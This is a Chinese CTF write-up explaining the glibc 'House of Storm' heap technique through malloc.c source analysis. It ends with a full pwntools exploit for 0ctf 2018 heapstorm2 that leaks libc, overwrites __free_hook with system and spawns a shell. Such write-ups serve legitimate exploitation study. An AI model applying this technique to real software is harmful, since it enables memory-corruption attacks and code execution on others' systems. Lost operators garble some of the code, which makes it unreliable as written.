说在前面适用范围libc2.30以下是一款组合技利用开启了PIE的x64程序的堆地址总是0x55xxxx...或者0x56xxxx...开头这一特性使用一次largebin attack写两个堆地址使用一次unsortedbin attack写一次libc地址可以实现任意地址分配。虽然house of storm最后能达到任意地址分配但是由于其所需的条件比较多一般可以用其他更简便的堆利用技术代替。这种利用技巧和思路还是很值得学习的。源码分析以下是libc2.23 malloc.c源码片段当分配一个堆块时会先从fastbinsmallbin中若没有合适堆块依次遍历unsorted bin,对大小不合适的堆块会从unsoredbin移入smallbin或largebin中参见下述代码。/* place chunk in bin */if(in_smallbin_range(size)){victim_indexsmallbin_index(size);bckbin_at(av,victim_index);fwdbck-fd;}else{victim_indexlargebin_index(size);bckbin_at(av,victim_index);fwdbck-fd;/* maintain large bins in sorted order */if(fwd!bck){/* Or with inuse bit to speed comparisons */size|PREV_INUSE;/* if smaller than smallest, bypass loop below */assert(chunk_main_arena(bck-bk));if((unsignedlong)(size)(unsignedlong)chunksize_nomask(bck-bk)){fwdbck;bckbck-bk;victim-fd_nextsizefwd-fd;victim-bk_nextsizefwd-fd-bk_nextsize;fwd-fd-bk_nextsizevictim-bk_nextsize-fd_nextsizevictim;}else{assert(chunk_main_arena(fwd));while((unsignedlong)sizechunksize_nomask(fwd)){fwdfwd-fd_nextsize;assert(chunk_main_arena(fwd));}if((unsignedlong)size(unsignedlong)chunksize_nomask(fwd))/* Always insert in the second position. */fwdfwd-fd;else{victim-fd_nextsizefwd;victim-bk_nextsizefwd-bk_nextsize;fwd-bk_nextsizevictim;victim-bk_nextsize-fd_nextsizevictim;}bckfwd-bk;}}elsevictim-fd_nextsizevictim-bk_nextsizevictim;}mark_bin(av,victim_index);victim-bkbck;victim-fdfwd;fwd-bkvictim;bck-fdvictim;关键代码......victim-fd_nextsizefwd;victim-bk_nextsizefwd-bk_nextsize;fwd-bk_nextsizevictim;victim-bk_nextsize-fd_nextsizevictim;}bckfwd-bk;}}......mark_bin(av,victim_index);victim-bkbck;victim-fdfwd;fwd-bkvictim;bck-fdvictim;利用手法变量说明把要从unsortedbin放入largebin的chunk称作chunk_A,也就是关键代码中的victimfwd是当前largebin链表中第一个大小不大于chunk_A的下面称为chunk_Blarge bin attack修改chunk_B-bkaddr1-0x10修改chunk_B-bk_nextsizeaddr2-0x20、带入上述代码进行计算最终效果就是addr1chunk_Aaddr2chunk_A即addr1,addr2都被赋值为chunk_B header地址是个很大的数效果类似于unsorted bin attackHouse of storm攻击姿势假设需要攻击的地址是fake_chunkaddr-0x20修改chunk_A-bkfake_chunk修改chunk_B-bkfake_chunk-0x18修改chunk_B-bk_nextsizefake_chunk-0x200x3此时当我们申请一个0x50的堆块unsorted bin的那个堆块会被放入large bin中, 达到的效果......victim-fd_nextsizefwd;victim-bk_nextsizefwd-bk_nextsize;fwd-bk_nextsizevictim;victim-bk_nextsize-fd_nextsizevictim;//chunk_A-fd_nextsizechunk_B;//chunk_A-bk_nextsizeaddr-0x20-0x200x3//addr-0x20-0x200x3chunk_A//addr-0x20-0x200x30x20addr-0x200x3 chunk_B}bckfwd-bk;//bckaddr-0x18}}......mark_bin(av,victim_index);victim-bkbck;victim-fdfwd;fwd-bkvictim;bck-fdvictim;//addr-0x18bck;//chunk_B-fdchunk_A;//addrchunk_A;//addr-0x180x10addr-0x8chunk_A;unsortedbin attackaddr-0x10被写入main_arena88在此攻击手段中用处不大largebin attackaddr-0x8addr-0x200x3被写入chunk_A的地址最终addr-0x18处被写入了0x55或0x56,相当于伪造了size,申请0x50的堆块即位于addr-0x20处此时需要访问到fake chunk的bk指针指向的地址bck-fd victim因此需要其为一个有效的地址这就解释了设置large bin的bk的目的。最后需要说明的是当开了地址随机化ASLR之后堆块的地址最高位只可能是0x55或0x56而只有当最高位为0x56的时候上述攻击方式才能生效这里其实和伪造0x7f而用0x7_后面加上其他某个数可能就不行的原因一样是由于__libc_malloc中有这么一句断言assert(!victim||chunk_is_mmapped(mem2chunk(victim))||ar_ptrarena_for_chunk(mem2chunk(victim)));过上述检测需要满足以下一条即可victim为 0 没有申请到内存IS_MMAPPED为 1 是mmap的内存NON_MAIN_ARENA为 0 申请到的内存必须在其所分配的arena中而此时由于是伪造在别处的堆块不满足我们常规需要满足的第三个条件因此必须要满足第二个条件了查看宏定义#define IS_MMAPPED 0x2#define chunk_is_mmapped(p) ((p)-size IS_MMAPPED)可知需要size 0x2不为0才能通过mmap的判断。值得一提的是由于addr-0x8被写入了chunk_A地址因此最终在fake chunk被返还给用户后unsorted bin中仍有chunk_A地址所对应的堆块已经被放入了large bin中且其fd域被写入了main_arena88。例题题目来源buu-0ctf_2018_heapstorm2libc2.23代码分析题目开了全保护审计代码有add,edit,show,delete函数存储chunk指针和size的数组用一组随机数异或存储,__int64my_init(){__int64 v0;// raxinti;// [rsp8h] [rbp-18h]intfd;// [rspCh] [rbp-14h]setvbuf(stdin,0,2,0);setvbuf(stdout,0,2,0);alarm(0x3Cu);puts( __ __ _____________ __ __ ___ ____\n / //_// ____/ ____/ | / / / / / | / __ )\n / , / __/ / __/ / |/ / / / / /| | / __ |\n / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n);puts( HEAP STORM II );if(!mallopt(1,0))exit(-1);if(mmap((void*)0x13370000,0x1000u,3,34,-1,0)!(void*)322371584)exit(-1);fdopen(/dev/urandom,0);if(fd0)exit(-1);if(read(fd,(void*)0x13370800,0x18u)!24)exit(-1);close(fd);MEMORY[0x13370818]MEMORY[0x13370810];for(i0;i15;i){*(_QWORD*)(16*(i2LL)0x13370800)xor_ptr(0x13370800,0);xor_size(0x13370800,0);*(_QWORD*)(16*(i2LL)0x13370808)v0;}return0x13370800;}以上我们可知数组地址是绝对地址0x13370800,0x13370818与0x13370810初始值相同继续审计发现漏洞在update函数里strcpy((char*)(sizev6),HEAPSTORM_II);off bu null在view函数里有一个检查if((*(_QWORD*)(a124)^*(_QWORD*)(a116))!322401073)returnputs(Permission denied);我们要修改0x13370818与0x13370810这两处的值利用思路以下是个逆向的思路可以修改free_hook为system泄露libc地址view函数泄露修改0x13370818与0x13370810这两处的值把free_hook函数连接到记录chunk的数组中在0x13370800附近构造一个fake_chunk,即可实现上述目的利用两次off by null构造unsorted bin attack和large bin attack,构造一个fake_chunkexp:from pwn import*context.log_leveldebugcontext.archamd64elfELF(./0ctf_2018_heapstorm2)libcELF(/home/yaaaa/study/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so)defalloc(size):p.sendlineafter(bCommand: ,b1)p.sendlineafter(bSize: ,str(size).encode())defupdate(idx,size,contnt):p.sendlineafter(bCommand: ,b2)p.sendlineafter(bIndex: ,str(idx).encode())p.sendlineafter(bSize: ,str(size).encode())p.sendafter(bContent: ,contnt)defdelete(idx):p.sendlineafter(bCommand: ,b3)p.sendlineafter(bIndex: ,str(idx).encode())defview(idx):p.sendlineafter(bCommand: ,b4)p.sendlineafter(bIndex: ,str(idx).encode())whileTrue:pprocess(./0ctf_2018_heapstorm2)addr0x13370800alloc(0x18)#0alloc(0x508)#1alloc(0x18)#2alloc(0x18)#3alloc(0x508)#40x555555a01570alloc(0x18)#5alloc(0x18)#6update(1,0x4f8,ba*0x4f0p64(0x500))delete(1)update(0,0x18-12,ba*(0x18-12))alloc(0x18)#1alloc(0x4d8)#7#alloc(0x18)#8delete(1)delete(2)#alloc(0x18)#1#alloc(0x1000)#2alloc(0x38)#1alloc(0x4e8)#2# #largebin_attackupdate(4,0x4f8,ba*0x4f0p64(0x500))delete(4)update(3,0x18-12,ba*(0x18-12))alloc(0x18)#4alloc(0x4d8)#8#alloc(0x18)#5delete(4)delete(5)alloc(0x48)delete(2)alloc(0x4e8)#2delete(2)fake_chunkaddr-0x20pal1p64(0)*2p64(0)p64(0x4f1)pal1p64(0)p64(fake_chunk)pal2p64(0)*4p64(0)p64(0x4e1)pal2p64(0)p64(fake_chunk0x8)pal2p64(0)p64(fake_chunk-0x18-5)update(7,len(pal1),pal1)update(8,len(pal2),pal2)try:alloc(0x48)#2pal3p64(0)*5p64(0x13377331)p64(addr)update(2,len(pal3),pal3)pal4p64(0)*3p64(0x13377331)p64(addr)p64(0x1000)pal4p64(0x133707e3)p64(0x8)update(0,len(pal4),pal4)except:p.close()continueview(1)p.recvuntil(bChunk[1]: )heapu64(p.recv(6).ljust(8,b\x00))log.info(heap:hex(heap))pal5p64(0)*3p64(0x13377331)p64(addr)p64(0x1000)pal5p64(heap0x10)p64(0x8)update(0,len(pal5),pal5)view(1)p.recvuntil(bChunk[1]: )libc_addru64(p.recv(6).ljust(8,b\x00))-0x3c4b78log.info(libc_addr:hex(libc_addr))free_hooklibc_addrlibc.symbols[__free_hook]systemlibc_addrlibc.symbols[system]log.info(free_hook:hex(free_hook))log.info(system:hex(system))pal6p64(0)*3p64(0x13377331)p64(addr)p64(0x1000)pal6p64(free_hook)p64(0x8)p64(heap0x5600x10)p64(0x8)update(0,len(pal6),pal6)bin_shb/bin/sh\x00update(2,len(bin_sh),bin_sh)pal7p64(system)update(1,len(pal7),pal7)#pal7p64(0)*3p64(0x13377331)p64(addr)p64(0x1000)#pal7p64(free_hook)p64(0x8)p64(heap0x560)p64(0x4e1)#update(0,len(pal7),pal7)delete(2)#gdb.attach(p)p.interactive()break参考文章https://bbs.kanxue.com/thread-272098-1.htm#msg_header_h3_12https://fu9-dotom.github.io/p/house-of-stormbuu-0ctf_2018_heapstorm2/#%E5%88%A9%E7%94%A8%E6%80%9D%E8%B7%AF